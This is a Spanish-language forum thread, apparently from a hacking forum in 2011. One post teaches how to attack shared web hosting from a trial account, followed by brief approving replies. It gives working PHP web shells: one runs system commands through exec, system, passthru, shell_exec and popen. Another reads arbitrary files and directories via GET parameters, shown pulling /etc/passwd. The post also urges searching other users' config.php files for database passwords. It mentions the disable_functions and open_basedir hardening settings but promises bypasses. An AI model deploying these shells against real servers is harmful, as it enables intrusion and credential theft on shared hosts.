Título: ataque usando el server de paginas www. Publicado por: Hackwarm_x2 en 2 Abril 2011, 03:33 am La cantidad de paginas web crece a increible velocidad .Internet es actualmente el mercado que mas rapido se expande .Cada empresa tiene su firma en internet que permite el acceso a mas clientes.Cada vez mas empresas decide dejar todos sus servicios en manos de internet.El matenimiento del propio server para una pagina www
es costoso,por eso la mayoria opta por dejar sus paginas web a empresas de hosting,que tienen servers profesionales que tienen conexion de alta velocidad.Puesto que la cantidad de clientes es enorme que aumenta dia a dia,las empresas del hosting deberian procuparse mucho por la seguridad .Sus servidores son los que mas ataques reciben de los hackers,puesto que romper la seguridad da acceso a varios gigabytes de util informacion.Por desgracia la seguridad a menudo se ve limitada por cuestiones financieras. Objetivo Nuestra principal tarea es obtener el acceso a ficticio server de hosting.El ataque seguira el ejemplo de muchas brechas en configuracion -partiendo de los mas sencillos a los que pocos conocen. Como ataque satisfactorio consideraremos el poder leer el archivo de usuarios de sistema (/etc/passwd) y conocer la version de sistema con ayuda del comando uname -a Un ataque satisfactorio al server ,sin acceso local es muy complicado pero no imposible .Por suerte las empresas de hosting dan un tiempo de prueba gratis que dura normalmente 14 dias .No compraremos al gato en el saco porsupesto.Despues de registrarnos sin gastar ni un centavo obtendremos una cuenta en el servidor que nos servira para atacar.Dos semanas deberian ser suficiente para efectuar el ataque.El tiempo de prueba normalmente tiene una configuracion minima. Asumamos que en nuestro server ficticio tenemos solo el acceso a FTP Y WWW. Se nos abren entonces dos caminos para atacar,sin embargo tenemos en frente un servidor profesional que puede tener versiones actualizadas de programacion. Entonces podemos descartar completamente el servidor FTP.No tiene elementos necesarios para poder atacar.Nos concentramos pues en servidor WWW que normalmente suele ser Apache : http://www.apache.org Servidor Apache y sus posibilidades Apache es sin duda el mas popular servidor WWW .Permite hostear varias paginas ,y permite la carga de modulos es decir sus conexiones que le permiten aumentar su capacidad .El server WWW de por si no es un buen objetivo de ataque ,su codigo ha sido atacado en multiples ocasiones sin exito.Si existen en el brechas entonces son muy dificiles de detectar ,pero sus modulos pueden dar acceso a muchas funciones peligrosas .Usando los bien podemos activar cualquier programa bajo autoridad del server ,lo cual no deberia ser posible.Aparte de eso los modulos del server tienen acceso a su memoria que tambien puede ser engañoso. Existen varios modulos ,siendo estandar en todos los servers de hosting ,permiten la creacion de interactivas paginas WWW. Sin duda pertenecen a ellos PHP y CGI. PHP Gracias a este modulo,servidor devuelve codigo HTML en base de script escrito en lenguaje PHP.Este lenguaje esta usado en casi cualquier pagina WWW de gran tamaño.Sin embargo pocos saben que puede ser usado para obtener acceso a datos de servidor. Peligrosas funciones de arranque PHP posee funciones que permiten arrancar qualquier programa .Muchos administradores no sabe esto i deja la configuracion de modulo sin cambiar .Veremos pues como podemos usar 5 modos distintos de ejecutar programa "uname -a" <?php define("CMD", "uname -a"); echo "exec():<br>"; echo exec(CMD); echo "<br><br>system():<br>"; system(CMD); echo "<br><br>passthru():<br>"; passthru(CMD); echo "<br><br>shell_exec():<br>"; echo shell_exec(CMD); echo "<br><br>popen():<br>"; $handle = popen(CMD, "r"); $read = fread($handle, 2096); echo $read; pclose($handle); Este script colocamos en nuestro servidor bajo nombre que queramos con expansion .php, y seguido lo ejecutamos (abriendo su pagina WWW. El resultado puede ser asi: exec(): Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux system(): Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux passthru(): Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux shell_exec(): Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux popen(): Linux top 2.6.8 #1 Tue Oct 19 04:53:59 CEST 2004 i686 unknown unknown PLD Linux Funciones system y passthru enseguida devuelven el resultado en la pantalla. Funciones exec y shell_exec devuelven el resultado a cambiante la cual tendremos que imprimir .Popen() sin embargo crea un flujo del cual leemos el resultado. Por suerte no existen muchos servers de hosting con un agujero semejante en la configuracion .puesto que los administradores suelen bloquear solo algunas funciones.Es un error ,dado que el hacker con facilidad puede arrancar qualquier programa bajo auditoria del servidor WWW y leer importantes archivos de configuracion que contienen por ejemplo -contraseñas de base de datos . Esta funcion se puede bloquear introduciendo adecuado comando en archivo php.ini: disable_functions = exec, system, passthru, shell_exec, popen Ahora resetamos servidor Apache y miramos los resultados: exec(): Warning: exec() has been disabled for security reasons in test.php on line 4 system(): Warning: system() has been disabled for security reasons in test.php on line 6 passthru(): Warning: passthru() has been disabled for security reasons in test.php on line 8 shell_exec(): Warning: shell_exec() has been disabled for security reasons in test.php on line 10 popen(): Warning: popen() has been disabled for security reasons in test.php on line 12 Bueno esta situacion ocurre amenudo en servidores profesionales .Pero porsupesto hay que seguir testeando. Seguimiento de contenido en el catalogo y leer los archivos. ahora no podemos arrancar el programa en el servidor dado que el administradora bloqueado las funciones peligrosas .Pero puede que consigamos leer curiosos archivos de configuracion.PHP contiene muchas funciones que permiten operaciones en archivos y en el catalogo de trabajo.Pensandolo bien podemos encender el archivo que esta por ejemplo en la carpeta /etc.Gracias a este script . <?php if(isset($_GET["dir"])) { $folder = opendir($_GET["dir"]); while ($file = readdir($folder)) { echo "$file <br>"; } closedir($folder); } if(isset($_GET["file"])) readfile($_GET["file"]); ?> De principio miramos si esta ajustada la cambiante "dir" gracias a la funcion isset(). Si es asi abrimos el correspondiente catalogo i copiamos su contenido. Seguido si cambiante "file" esta ajustada copiamos su contenido con funcion readfile().Vamos a comprobar que tal es en practica. Copiamos pues el script al servidor y lo llamamos casualmente "test.php". Seguido dirigimos los parametros en la dirreccion de la pagina: http://serwer/test.php?dir=/home&file=/etc/passwd El resultado puede ser este . .. services users root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/account: ... nombre:x:124:1000::/home/users/nombre:/bin/bash nombre:x:125:1000::/home/users/nombre:/bin/bash http:x:51:51:HTTP User:/home/services/httpd:/bin/false mysql:x:89:89:MySQL Server:/home/services/mysql:/bin/sh Como se ve ,obtenemos el contenido de catalogo /home y seguido el archivo /etc/passwd. Ahora podemos analizar catalogos de otros usuarios y buscar archivos tipo config.php.Contiene muchas veces la contraseña de la base de datos mysql,que con frecuencia es la misma para FTP. Esto claramente no tendria que pasar,la solucion es la adecuada cofiguracion de PHP - open_basedir.Permite limitar funciones de scripts PHP para catalogos concretos. El comando en php.ini pudiera ser asi: open_basedir = /home/users reseteamos servidor Apache y comprobamos el efecto: Warning: opendir() [function.opendir]: open_basedir restriction in effect.File(/home)is not within the allowed path(s): (/home/users/) in test.php on line 4 Warning: opendir(/home) [function.opendir]: failed to open dir : fuction restriction in test.php on line 4 Warning: readfile() [function.readfile]: open_basedir restriction in effect.File(/etc/passwd)is not within the allowed path(s): (/home/users/) in test.php on line 12 Warning: readfile(/etc/passwd) [function.readfile]: failed to open stream: function restriction in test.php on line 12 Segun lo previsto,no tengo acceso al archivo /etc/passwd y al catalogo /home.Nuestro acceso empieza en la carpeta /home/users y solo de el podemos leer archivos y analizar catalogos .Sin embargo mejor ajustar la opcion open_basedir para un usuario cada vez con la ayuda de php_admin_value en el archivo configurable de Apache Con este metodo ya no podemos introducir comandos del sistema ,no podemos leer archivo principal de configuracion de sistema .En esto normalmente se termina la seguridad PHP de muchos servidores de hosting .por suerte existen metodos para rodear la cofiguracion no deseada. Título: Re: ataque usando el server de paginas www. Publicado por: elolvido en 3 Junio 2011, 16:34 pm Me parece muy interesante
¿Vas a seguir? Espero que si Título: Re: ataque usando el server de paginas www. Publicado por: R007h en 4 Junio 2011, 14:52 pm muy buen aporte, espero que siga...
Salu2 Título: Re: ataque usando el server de paginas www. Publicado por: kiriost en 5 Junio 2011, 19:22 pm Bastante interesante. Buen aporte ;-)
|